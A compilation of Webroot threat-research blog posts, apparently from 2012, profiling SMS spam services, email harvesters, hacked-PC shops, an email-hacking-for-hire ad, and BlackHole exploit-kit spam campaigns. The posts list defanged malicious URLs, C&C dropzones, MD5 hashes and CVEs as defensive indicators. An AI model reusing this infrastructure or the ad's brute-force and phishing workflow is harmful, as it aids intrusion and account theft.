DIY SMS spammers available for download – Another segment within the mobile spam market, is the overall availability of DIY (do-it-yourself) SMS spammers. For the time being, the majority of these only affect Russian and Eastern European carriers, and primarily take advantage of the carriers' Mail2SMS feature. For instance, if enabled, the user can receive emails in the form of SMS messages, once a service, or an individual sends an email to the following address – mobile_number@sms_gateway_at_mobile_carrier.com Although for the time being, the majority of DIY SMS spam tools rely on the Mail2SMS feature, there are exceptions taking advantage of API keys issued by managed SMS spam providers allowing them easy access to a dedicated SMS gateway allowing them to send spoofed SMS messages internationally.

Harvested databases of active mobile numbers per country, city, mobile carrier offered for sale – Taking into consideration the fact that the service profiled in this post offers the opportunity to send

SMS spam messages on a per country, city, and mobile carrier basis, a logical question emerges. How did they manage to build their database of mobile numbers, and segment them so that marketing-savvy cybercriminals can abuse them at a later stage? Affected users often leave their mobile numbers in order to access content found in spam and phishing emails. By doing so, they allow cybercriminals the opportunity to collect, store and resell these numers at a later stage. The geolocation process takes place either automatically based on freely available information for a particular prefix, or manually, by having end users enter their city, country and carrier into the spammer’s database. Another popular technique that mobile spammers use is to collect mobile numbers from freely available free international SMS sending services, which secretly collect all the data that passes by their interface in an attempt to monetize the traffic by reselling the numbers to spammers at a later stage.

What are some of the latest innovations in the field of mobile SMS spam? Based on a comparative review of several managed SMS spamming providers, all of them are interested in vertically integrating by offering **managed MMS spamming** feature, next to managed **Bluetooth spamming** . As far as MMS spamming is concerned, not only does the feature offer interactivity for the spammers’ message, it also allows them to efficiently spamvertise malicious Java applications to millions of end and corporate users whose mobile number has been somehow exposed, and is now in the hands of mobile spammers.

Webroot predicts that we’ll soon witness a mass spamvertised MMS campaign containing mobile malware, including localized messages to the native language of the prospective recipients thanks to the availability of managed localization and proofreading services within the cybercrime ecosystem.

With these ‘turn-key’ cybercrime-friendly solutions freely available within the cybercrime ecosystem, we also predict an increase in SMS spam hitting end and corporate users across multiple market verticals.

If you’re one of the unlucky individuals that receives these spam messages, do NOT interact with them, even if they offer you the opportunity to unsubscribe. Much like email spam, unsubscribing will only end up confirming that your mobile number is valid.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New DIY email harvester released in the wild - Webroot Blog

facebook linkedin twitter

In order for cybercriminals to launch, spam, phishing and targeted attacks, they would first have to obtain access to a “touch point”, in this case, your valid email address, IM screen name, or social networking account.

Throughout the years, they’ve been experimenting with multiple techniques to obtain usernames (**YouTube** user names, **IM screen names** , **Hotmail email addresses**) and valid email addresses from unsuspecting end and corporate users.

In this post we’ll profile a recently released Russian DIY email harvester, and emphasize on the difference between notice and experienced cybercriminals in the context of the tactics and techniques they use to obtain a potential victim’s email address.

More details:

Screenshots of the Email harvester in action:

As you can see in the attached screeenshots, the program works by parsing email addresses available on a particular web site. It doesn’t automatically crawl other pages parked on the same domain. Instead, the page to be parses has to be a static one. The program, currently advertised as cybercrime-friendly web forums, doesn’t necessarily represent an immediate threat to Internet users, thanks to its simplistic nature.

Last month, Webroot profiled an **underground web service that continue selling millions of already harvested email addresses** , next to another service, **selling exclusive access to U.S Government and U.S Military email addresses** **,** for potential use in targeted, segmented attacks, also known as advanced persistent threats.

The primitive web page parsing technique used in this email harvester, cannot be compared to the **data mining of malware-**

infected hosts for valid emails , next to **actually harvesting** them in **real-time by using Twitter** . These increasingly popular email harvesting techniques continue being used by cybercriminals across the globe in order to ensure that they can successfully reach their prospective victims at any time.

Webroot advises users to be extra cautions when sharing their email on a publicly accessible Web server, as spammers are constantly crawling these in order to obtain fresh and valid email addresses.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New underground service offers access to hundreds of hacked PCs - Webroot Blog

facebook linkedin twitter

Want to buy anonymous access to hacked PCs, spam-free SMTP servers (Simple Mail Transfer Protocol), or compromised bank accounts?

A newly launched underground Web service, is currently offering access to hundreds of hacked PCs, SMTP servers, and hacked bank accounts.

Let’s take a deeper look:

The service is advertised as all-in-one shop for “*Shells / Rdp / Smtp / Leads / roots* ” accounts on multiple cybercrime-friendly Web forums.

The price for a compromised Windows PC is static **compared** to **previously** profiled shops offering **access to compromised PCs** , and is $8 per PC. Next to compromised PCs, the boutique Web shop is also selling 80,000 harvested Excite.com emails, and numerous compromised bank accounts. The price for a bank account with a balance of $6000 is, $135.

Screenshots of the service:

Screenshots of the compromised bank accounts offered as proof:

How is it possible that they’re selling access to a bank account that has as balance of $6000 for just $135?

The process is called risk-forwarding, similar to that of **recruiting money mules for processing of the fraudulent funds** . Basically, the cybercriminals behind the operation are incapable of obtaining the full amount of money available in the bank account, and are only interested in charging a static, market-independent amount of money for it.

In comparison, sophisticated vendors interested in repeated purchases, and long-term relationships within the cybercrime ecosystem, will usually accept bulk orders and offer suitable discounts for purchasing hundreds of thousands of compromised hosts.

Webroot’s security researchers will continue monitoring the development of the service, and post updates to this post, as soon as a new threat vector emerges.

Meanwhile, customers are advised to check their bank statements regularly for possible fraudulent purchases, and to take advantage of mobile notification services alerting them every time money goes in and goes out of their bank accounts.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'US Airways' themed emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising yet another social-engineering driven malicious email campaign, this time impersonating **U.S Airways** .

Upon clicking on the malicious links found in the emails, end and corporate users are exposed to client-side exploits courtesy of the BlackHole web malware exploitation kit.

More details:

Spamvertised subjects: *US Airways online check-in, US Airways reservation confirmation, Confirm your US airways online reservation, US Airways online check-in confirmation*

Message: *You can check in from 24 hours and up to 60 minutes before your flight (2 hours if you're flying internationally). After that, all you have to do is print your boarding pass and go to the gate. Confirmation code: 250462 Check-in online: Online reservation details*

Spamvertised malicious URL: *hxxp://goldapnews.pl/zh6jPwn1/index.html*

Once the users click on the malicious links found in the email, an obfuscated javascript code will attempt to load from multiple compromised web servers in an attempt to redirect the users to the client-side exploits serving URL courtesy of the BlackHole web malware exploitation kit.

Go through related posts:

Researchers intercept two client-side exploits serving malware campaigns Researchers intercept a client-side exploits serving malware campaign

Compromised URLs, part of the campaign (the affected web sites are currently in a process of cleaning up their compromised domains, and therefore they are currently serving a HTTP/1.1 404 Not Found error message:

hxxp://alasinmedia.pp.fi/8qeXM1Kx/js.js hxxp://boxpluss.com/00o6FfJc/js.js hxxp://raja-sms.com/roLcnvNu/js.js

The campaign is attempting to exploit end and corporate users using the following vulnerabilities – *Libtiff integer overflow in Adobe Reader and Acrobat* (also known as CVE-2010-0188) and *Help Center URL Validation Vulnerability* (also known as CVE-2010-1885).

Client-side exploitation directory structure for the campaign:

hxxp://goldapnews.pl/zh6jPwn1/index.html – compromised legitimate web site **hxxp://66.151.244.191/showthread.php?t=73a07bcb51f4be71** – compromised game server **hxxp://66.151.244.191/data/ap2.php?f=4203d –** compromised game server

IP Information for 66.151.244.191:

Resolves to v-66-151-244-191.unman-vds.internap-dallas.nfoservers.com
Hosted in the: United States
AS: AS12179, INTERNAP-2BLK Internap Network Services

According to independent sources, **66.151.244.191** was previously used as **a game server** , indicating a possible compromise by the cybercriminals behind this ongoing campaign.

The campaign ultimately drops the following malicious executable – **MD5: 340f5884390ddcc42837078d63b6f293**

Based on the campaign's structure, it's launched by the same gang of cybercriminals that recently launched the following campaigns "**Spamvertised Verizon-themed 'Your Bill Is Now Available' emails lead to ZeuS crimeware** " ; "**Spamvertised LinkedIn notifications serving client-side exploits and malware** ".

Webroot expects the gang will continue to diversifying the market segment of the brand-jacked companies, and to continue relying on the fact, that **end and corporate users continue using the Web** , while relying on **outdated versions of their third-party software** , and **browser plugins** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Email hacking for hire going mainstream - part two - Webroot Blog

facebook linkedin twitter

Remember the email hacking for hire service which Webroot extensively profiled in this post "**Email hacking for hire going mainstream** "?

Recently, I stumbled upon another such service, advertised at cybercrime-friendly web forums, offering potential customers the opportunity to hack a particular **Mail.ru** and **Gmail.com** email address, using a variety of techniques, such as brute-forcing, phishing, XSS vulnerabilities and social engineering.

More details:

The overall availability of such services in the wild, is an indication of a growing trend, namely the combination of managed cybercrime-friendly services perfectly positioned as outsourcing vendors within the cybercrime ecosystem. Thanks to the general availability of DIY email hacking tools that brute-force an attackers way into an email address account, next to the availability of phishing templates for each and every major provider of free Web-based email, cybercriminals have all the necessary tools to accomplish their objective — hacking into an email account.

What's particularly interesting about this particular service, is the fact that, the vendor is also offering to teach potential customers how to protect their email accounts from such hacking attempts.

More details on the service:

Important:

Anonymity is guaranteed
We work 20 hours a day – possible to work through the guarantor forum▬ accept wholesale orders (50 boxes), the price of individual
As soon as your order is ready, we ourselves will contact
BL on webmoney 88 .

How we work:

1) After receiving an order , we will first consider whether there is such a case, if he is not banned by accident, and whether it is possible to find an answer to your secret question. Write the box in the list of orders. (We always know how much time passed since the Order). . .

2) If the mailbox exists and is not banned, we put it on the brute . Speed is not mega fast, but steadily worked without a glitch. This process just takes about two days. But if the password is simple, it conjures faster.. . .

3) After checking all the available relevant databases passwords, we are sending the victim of a clever fake ~ with different chips. For his fakie, we only use the bulletproof hosting , which makes our service is 100% invulnerable!. . .

4) If the brute and the fake does not work, we try to get in touch with someone , find out all of its vulnerabilities and password to get other opportunities.. . .

5) In the case of a successful outcome (as is often the case), we tested, we can show you that access to the box really is, you rejoice and are going to pay. After we give you the password. help to go to the mailbox anonymously , to advise how to make your box does not rested …

Statistics:

During 2011 it was the spell of more than 600 boxes
On average, each client receives a 3.2 is what you need!
Fakes several times productively Brutus
Those who ordered once, often order again!90% is in the mail boxes @ py (all other orders is Google, Yandex, Rambler, ukr.net etc)
Girls 5-6 times more likely to fall for the fake than boys.
Often bought boxes Tipo 4463833@mail.ru, 8862200@mail.ru
Most of the passwords: passwords and digital numbers, combined with a login / name, as well as the numeric password with the letter at the beginning or end (eg a845930), among them also there – phone numbers, dates of birth, common passwords (1234567890 etc .), occasionally caught passwords sbrutit which is very difficult, for example – Pzky266Pkv

Just how easy is it to hack someone's email, anyway? Pretty easy, at least according to **third-party research** , which evaluated the **strength of the passwords** , and the **easy to guess secret questions** using a sample of active Web users.

Thankfully, in February, 2011, **Gmail introduced two-factor authentication** , followed by **Yahoo! Mail in December 2011** , making in increasingly harder to hack into someone's email.

Webroot advises end and corporate users to be extra vigilant for potentially outsourced email hacking attempts against their personal and corporate email addresses.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Scan from a Hewlett-Packard ScanJet' emails lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Security researchers from Webroot have intercepted a currently spamvertised malicious campaign, impersonating Hewlett Packard, and enticing end and corporate users into downloading and viewing a malicious .htm attachment.

More details:

Subject: Re: *Scan from a Hewlett-Packard ScanJet [random number]* **Message:** *Attached document was scanned and sent to you using a Hewlett-Packard NetJet 730918SL. SENT BY : ANISSA PAGES : 5 FILETYPE: .HTM [Internet Explorer File]* **Original attachment:** *HP_Jet_26_P2184.zip* **Malicious iFrame embedded within the .htm attachment:** *hxxp://superproomgh.ru:8080/navigator/jueoaritjuir.php*

The **malicious .htm has a very low detection rate** , and is currently detected as JS/Kryptik.SA!tr and Mal/Iframe-AE.

Client-side exploits serving structure: hxxp://superproomgh.ru:8080/navigator/jueoaritjuir.php hxxp://superproomgh.ru:8080/navigator/fsytklfwiqbz.jar hxxp://superproomgh.ru:8080/navigator/hmfngpdshsknblc.jar hxxp://superproomgh.ru:8080/navigator/alisgtypezfq1.pdf

The client-side exploits serving domain **superproomgh.ru** is currenly **fast-fluxed** , namely it's responding to multiple, dynamically changing IP addresses in an attempt by the cybercriminals behind the campaingn, to make it harder for vendors and researchers to take it down.

The campaign is attempting to exploit the "*Libtiff integer overflow in Adobe Reader and Acrobat* " vulnerability, also known as CVE-2010-0188 in an attempt to drop the following MD5 on the exploited hosts – **MD5: 20de62566248864be3b0e413b332d731** currently detected as Win32:Sirefef-RV [Drp], Trojan.Generic.KDV.582649, HEUR:Trojan.Win32.Generic, or PWS-Zbot.gen.hv.

Webroot security researchers will continue monitoring this campaign to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised Verizon-themed 'Your Bill Is Now Available' emails lead to ZeuS crimeware - Webroot Blog

facebook linkedin twitter

Cybercriminals newest spamvertised malware campaign is brand-jacking Verizon Wireless in an attempt to trick end users into clicking on the malicious links embedded in the email.

More details:

The campaign is relying on thousands of compromised legitimate web sites, where a tiny javascript file (.js) is hosted in an attempt to trick web reputation filters into thinking the content is served from a legitimate web sites. The campaign is ultimately redirecting to a BlackHole web malware exploitation kit at **hxxp://slickcurve.com/showthread.php?t=d7ad916d1c0396ff** which drops the following **MD5:** 99FAB94FD824737393F5184685E8EDF2.

It's being launched by the same cybercriminals that launched last week's "**Malicious USPS-themed emails circulating in the wild** " campaign, as both campaigns share the same directory/exploit-serving structure.

The MD5 is using the following dropzone for sending back the intercepted accounting data from the infected PCs – **hxxp://176.28.18.135:8080/pony/gate.php** Now where have we seen this IP before? In last week's "**Spamvertised LinkedIn notifications serving client-side exploits and malware** " malware campaign where **176.28.18.135** was serving client-side exploits through the BlackHole web malware exploitation kit.

The MD5 also attempts to contact the following dropzones is **176.28.18.135** is unavailable:

hxxp://85.214.243.87:8080/pony/gate.php
hxxp://88.85.99.44:8080/pony/gate.php

It also downloads a copy of the ZeuS crimeware, using the following **MD5:** 86A548CADA5636B4A8ED7DE5F654FF96

Webroot security researchers will continue monitoring the campaign, to ensure that **Webroot SecureAnywhere** customers are protected from this ongoing threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Tens of thousands of web sites affected in ongoing mass SQL injection attack - Webroot Blog

facebook linkedin twitter

Hundreds of thousands of legitimate web sites are currently affected in a a mass SQL injection attack that has been ongoing for the past several months. The ongoing mass SQL injection attacks, are directly related to last year's **scareware-serving Lizamoon mass SQL injection attacks** .

The cybercriminals behind it, are automatically exploiting the legitimate web sites, and embedding a tiny script on the affected pages, abusing an input validation flaw, or exploiting vulnerable and outdated versions of the web application software running on them.

More details:

The campaign is currently consisting of 5 SQL injected domains parked on a single IP hosted within the Russian Federation.

Parked at 91.226.78.148 (AS56697, LISIK-AS OOO "Byuro Remontov "FAST") are the following domains participating in the mass SQL injection attack:

hjfghj.com/r.php – According to Google, 323,000 sites are affected
fgthyj.com/r.php – According to Google, 390,000 sites are affected
gbfhju.com/r.php – According to Google, 74,200 sites are affected
statsmy.com/ur.php – According to Google, 3,080,000 sites are affected
stmyst.com/ur.php – According to Google, 1,320,000 sites are affected

All of these domains have been registered by the same cybercriminal/gang, using identical WHOIS records:

JamesNorthone
James Northone jamesnorthone@hotmailbox.com
+1.5168222749 fax: +1.5168222749

128 Lynn Court
Plainview NY 11803
us

Thankfully, all of these domains are currently returning a "*404 Not Found* " error message, with the cybercriminals behind the campaign, attempting to cover their tracks.

What's particularly interesting about this campaign, is the fact that the same cybercriminals behind the most recent attacks, have been pretty active throughout 2011, having launched several more mass SQL injection attacks, whose injected domains have been registered with the same email as the currently injected domains – **jamesnorthone@hotmailbox.com**

In 2011's **Lizamoon mass SQL injection attacks** , the same gang that's behind the ongoing attacks, was monetizing the hijacked traffic by serving **fake security software, also known as scareware** to Web users.

See:

Dissecting the Ongoing Mass SQL Injection Attack **Dissecting the Massive SQL Injection Attack Serving Scareware**

Analyzing the AS56697, asynchronous network, that's suspiciously using a Gmail account for contact — **sdelanocompletservice@gmail.com** — we seen several other currently active malware campaigns hosted within the same AS. Webroot's security researchers will continue monitoring these ongoing mass SQL injection attacks, to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised LinkedIn notifications serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising LinkedIn themed messages, in an attempt to trick end and corporate users into clicking on the malicious links embedded in the emails.

The campaign is using real names of LinkedIn users in an attempt to increase the authenticity of the spamvertised campaign.

More details:

Upon clicking on the malicious link, users are presented with a “Please wait page is loading…” page, whereas the malicious URL will try to exploit the “*Help Center URL Validation Vulnerability* ” also known as CVE-2010-1885 .

Sample client-side exploitation structure is as follows:

hxxp://therapower.com/jmwaWRj9/index.html
hxxp://174.133.92.122/MgGsg1Pp/js.js
hxxp://176.28.18.135:8080/showthread.php?t=73a07bcb51f4be71
hxxp://176.28.18.135:8080/content/Qai.jar
hxxp://176.28.18.135:8080/content/ap2.php?f=14095

The campaign is ultimately dropping the following malware sample: **MD5: 517a86d7fe88aa53658fab1be7b7ef36** . The same IP, 176.28.18.135 was also observed as a command and control served used by the following **MD5: 02ce2bb3c0d58c9360bb185d6b200e03** .

The cybercriminals behind the campaign are currently relying on thousands of compromised legitimate sites, in an attempt to trick web reputation filters into thinking that the payload is not malicious. Combined with the ever-decreasing price for launching a spam campaign through a botnet, the cybercriminals behind the campaign will definitely break-even from their original investment, and achieve a positive ROI (return on investment).

Webroot’s security researchers will continue monitoring the campaign, to ensure that **Webroot SecureAnywhere** customers are protected from this threat. Meanwhile, end and corporate users are advised to avoid interacting with the emails, to access the LinkedIn.com directly, and to ensure that they’re not running **outdated versions of their third-party applications** and **browser plugins** .

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious USPS-themed emails circulating in the wild - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising malicious USPS-themed emails, that entice end and corporate users into clicking on malicious links found in the emails.

More details:

Sample subject: *USPS postage labels order confirmation; Your USPS postage labels charge*

Sample message: *Acct #: 0873977 Dear client :This is an email confirmation for your order of 5 online shipping label(s) with postage. Your credit card will be charged the following amount: Transaction ID: #4252724Print Date/Time: 03/11/2012 02:30 AM CST Postage Amount: $48.25Credit Card Number: XXXX XXXX XXXX XXXX Priority Mail Regional Rate Box B # 9299 1836 2636 8858 7679 (Sequence Number 1 of 1) For further information, please log on to www.usps.com/clicknship and go to your Shipping History or visit our Frequently Asked Questions .You can refund your unused postage labels up to 10 days after the print date by logging on to your Click-N-Ship Account.Thank you for choosing the United States Postal Service Click-N-Ship: The Online Shipping Solution Click-N-Ship has just made on line shipping with the USPS even better.New Enhanced International Label and Customs Form: Updated Look and Easy to Use!* * * * * * * *This is a post-only message*

Sample malicious URL spamvertised in the campaign: hxxp://blazewear.assetict.com/sgENCGn0/index.html

Upon clicking on the links, end and corporate users will view a "*WAIT PLEASE, Loading…* " page. In between, the campaign will attempt to load up to 4 different javascript files from multiple compromised URIs in an attempt to serve client-side exploits and malware to users.

Structure of the client-side exploits serving process is as follows.

Malicious javascript loads from the followung URLs:
hxxp://apollprint.com/Dg9kxxHh/js.js
hxxp://bscert.eu/CAgADsB0/js.js
hxxp://chroniquesradios.com/7KnKEoKm/js.js
hxxp://frogeen.com/hPPP5CqE/js.js

Once the campaing loads the malicious javascript, the following redirections take place:
hxxp://blazewear.assetict.com/sgENCGn0/index.html
hxxp://apollprint.com/Dg9kxxHh/js.js
hxxp://jadecellular.com/showthread.php?t=73a07bcb51f4be71
hxxp://jadecellular.com/content/Qai.jar

The compromised legitimate web site participating in the campaign, **has a very low detection rate** .

Webroot’s security researchers will continue monitoring the spamvertised campaign, to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Your tax return appeal is declined' emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising with IRS (Internal Revenue Service) themed emails, enticing end and corporate users into downloading and viewing a malicious **.htm** attachment.

More details:

Spamvertised subject: *Your tax return appeal is declined*

Spamvertised message: *Dear Chief Account Officer, Hereby you are notified that your Income Tax Refund Appeal id#9056219 has been REJECTED. If you believe the IRS did not properly estimate your case due to a misunderstanding of the facts, be prepared to provide additional information. You can obtain the rejection details and re-submit yo ur appeal by using the instructions in the attachment.*

Malicious attachment: *IRS_H11832502.htm*

Malicious iFrame URL found in the attachment: *hxxp://dporooppasoodajhsjs.ru:8080/images/aublbzdni.php*

Upon downloading and viewing the malicious attachment, an iFrame tag attempts to load, ultimately serving client-side exploits such as the *Libtiff integer overflow in Adobe Reader and Acrobat* (CVE-2010-0188), and *Trusted method chaining remote code execution* (CVE-2010-0840).

The malicious file attachment is currently detected as **JS/Agent.PX.gen; JS/Kryptik.SA!tr; Mal/Iframe-AE , MD5: e1f40f7ca35b35692c4762ed26cc1a61 –** by 4 out of 43 antivirus scanners.

Upon successful client-side exploitation, the campaign drops **MD5: 972c89c5114fae66595e5d3e3817e746** – detected by 32 out of 42 antivirus scanners as Worm:Win32/Cridex.B from **hxxp://xsopiisvvajushgd.ru:8080/images/jw.php?i=8.**

It then phones back to **hxxp://usepaxvulfdtnwiwwk.ru:8080/rwx/B1_3n9/in/** (178.162.154.214) and **hxxp://nolwzyzsqkhjkqhomc.ru:8080/rwx/B1_3n9/in/** (88.190.22.72).

What's particularly interesting about this campaign is that the malicious iFrame is hosted within a fast-flux botnet, and is therefore currently responding to multiple IPs, in an attempt by cybercriminals to make it harder for security researchers to take it down.

End users are advised to ensure that they're not running **outdated versions of their third-party software** and **browser plugins** , as well as to avoid interacting with the malicious emails.

Webroot's security researchers will continue monitoring the campaign, to ensure that **Webroot SecureAnywhere** customers are protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Trojan Downloaders actively utilizing Dropbox for malware distribution - Webroot Blog

facebook linkedin twitter

By Curtis Fechner

It’s never surprising to see the multitude of tactics a cybercriminal will use to deliver malware. In this case, I came across a collection of files masquerading as RealNetworks updater executables. These files were all located in a user’s %AppData%realupdate_ob directory, and the sizes were all quite consistent.

At first glance there was nothing too special about this finding – malware appearing to be legitimate software is nothing new.

When I looked into the specific behaviors of the file, it became clearer that the software is in fact malicious, and that it is actually downloading malicious files from the popular web-based file hosting service Dropbox. These files came in two varieties: some files were randomly-named; other files were named for legitimate software. For example: utorrent.exe, Picasa3.exe, Skype.exe, and Qttask.exe.

While some of the potential payloads were not present, some malicious URLs were still active:

I was able to verify very quickly by running the software that these target files on Dropbox are not legitimate, and they are definitely malicious. When executed they would write many files with legitimate names in generally legitimate locations. In some cases, file icons for the malicious files are not identical to the legitimate software that they are masquerading as.

The nitty gritty of what this spy does after downloading the files from Dropbox is quite alarming. Essentially, the malware obtains instructions from an XML script accessed via a dynamic DNS service that directs it to download additional malware and utilities from Dropbox and to disable certain antivirus programs which may be running on the infected PC.

One such file, Utility.exe, is a RAR SFX that has lots of fun payloads in it that do things like kill processes running in the computer at time. The commands below launch a defensive mechanism nirsoft tool to kill various antivirus software programs. The spy also deletes a bunch of file types from the temp directory.

The spy doesn’t just stop there. Another objective of this spy is to collect VERY specific system information, including hardware ID serials, computer and user names, OS version info, AV info, firewall info, UAC status, video device info, and many other pieces of information that no one would want falling into the hands of a stranger.

Here’s a bit more detail on the string of info collected by this spy.

Click to see the full list

Basically, this Dropbox-utilizing spy runs as a chain of downloaders for additional malware; the non-Dropbox-hosted C&C servers can determine what malware is grabbed by the downloaders so ultimately the end result of the infection is almost limitless. Once installed, malicious actions can vary from serving up rogue AVs, installing keyloggers, rootkits, or whatever the cybercrimal fancies.

While it’s unfortunate malware writers have exploited this free service to serve their malware, Dropbox users don’t need to fret. There is no indication that legitimate Dropbox accounts were harvested to serve this malware and it is much more likely the writers simply opened their own accounts within Dropbox to carry this action out.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Research: U.S accounts for 72% of fraudulent pharmaceutical orders - Webroot Blog

facebook linkedin twitter

Just how profitable is spam? Who's buying the counterfeit pharmaceutical items advertised so heavily in a huge percentage of the spam campaigns currently circulating in the wild?

According to a **newly released report by the University of California at San Diego** , although hundreds of thousands of people visit the fraudulent pharmaceutical scam sites, only a small percentage of them is actually purchasing the counterfeit pharmaceutical items.

In this particular case, the United States leads with 72% of total purchases from fraudulent pharmaceutical sites.

More details:

According to the report, the following countries were most commonly observed in the pre-purchasing and post-purchasing scenarios:

United States – 517,793 visits, 3,707 Cart additions, 0.72% of them added a product
Canada – 50,234 visits, 218 Cart additions, 0.43% of them added a product
Philippines – 42,441 visits, 39 Cart additions, 0.09% of them added a product
United Kingdom – 39,087 visits, 131 Cart additions, 0.34% of them added a product
Spain – 26,968 visits, 59 Cart additions, 0.22% of them added a product
Malaysia – 26,661 visits, 31 Cart additions, 0.12% of them added a product
France – 18,541 visits, 37 Cart additions, 0.20% of them added a product

Germany – 15,726 visits, 56 Cart additions, 0.36% of them added a product
Australia – 15,101 visits, 86 Cart additions, 0.57% of them added a product
India – 10,835 visits, 17 Cart additions, 0.16% of them added a product
China – 8,924 visits, 30 Cart additions, 0.34% of them added a product
Netherlands – 8,363 visits, 21 Cart additions, 0.25% of them added a product
Saudi Arabia – 8,266 visits, 36 Cart additions, 0.44% of them added a product
Mexico – 7,775 visits, 17 Cart additions, 0.22% of them added a product
Singapore – 7,586 visits, 17 Cart additions, 0.22% of them added a product

So far, Viagra remains the most popular item purchased through the pharmaceutical sites, with their operators earning a revenue every time they resell an item part of the **pharmaceutical scam affiliate network** . In this particular case that's GlavMed.

Go through a related post detailing a **Web contest launched for the pharmaceutical affiliate network RX-Partners** .

The business model for spamming is clearly a profitable market segment within the cybercrime ecosystem. With**thousands of malware-infected hosts ready to spamvertise billions of emails** , fresh **databases of harvested emails** , next to the fact that end and corporate **users continue clicking on links found in spam emails** , spam volumes will continue to grow.

From another perspective, in the long term, spamming will be all about the migration from mass marketing, to targeted market propositions, using geolocated databases of freshly harvested emails addresses, combined with localized messages targeting a specific audience using their native language in an attempt to further increase the conversion — visitor to customer — rate of visitors.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Millions of harvested U.S government and U.S military email addresses offered for sale - Webroot Blog

facebook linkedin twitter

Remember the **underground service offering millions of harvested emails for sale** profiled at the Webroot Threat Blog in January?

It appears that cybercriminals are continuing to innovate in this underground market segment by offering geolocated databases of millions of harvested emails for better targeting in their upcoming spam campaigns.

In this post, I'll profile yet another cybercrime underground service selling millions of harvested emails to potential cybercriminals.

What's particularly interesting about this service compared to the previous one profiled at the Webroot Threat Blog is that it offers segmented databases of harvested emails based on a particular country, or multiple gTLDs for better campaign targeting in upcoming spam campaigns, and targeted attacks.

Screenshots of the inventory of harvested emails currently offered for sale:

Next to mass marketing campaigns, the segmented databases could be used for launching targeted attacks against a particular country, which in combination with localization — translating the spam message into the native language of the prospective recipient — and event-based social engineering attacks, could increase the probability of successful interaction with the malicious emails.

In respect to targeted malware attacks, the service is currently offering 2.462.935 U.S government email addresses, and another 2.178.000 U.S military email addresses.

Cybercriminals often collect these through active data mining of malware-infected hosts, or through direct web crawling using commercial and private email harvesting tools.

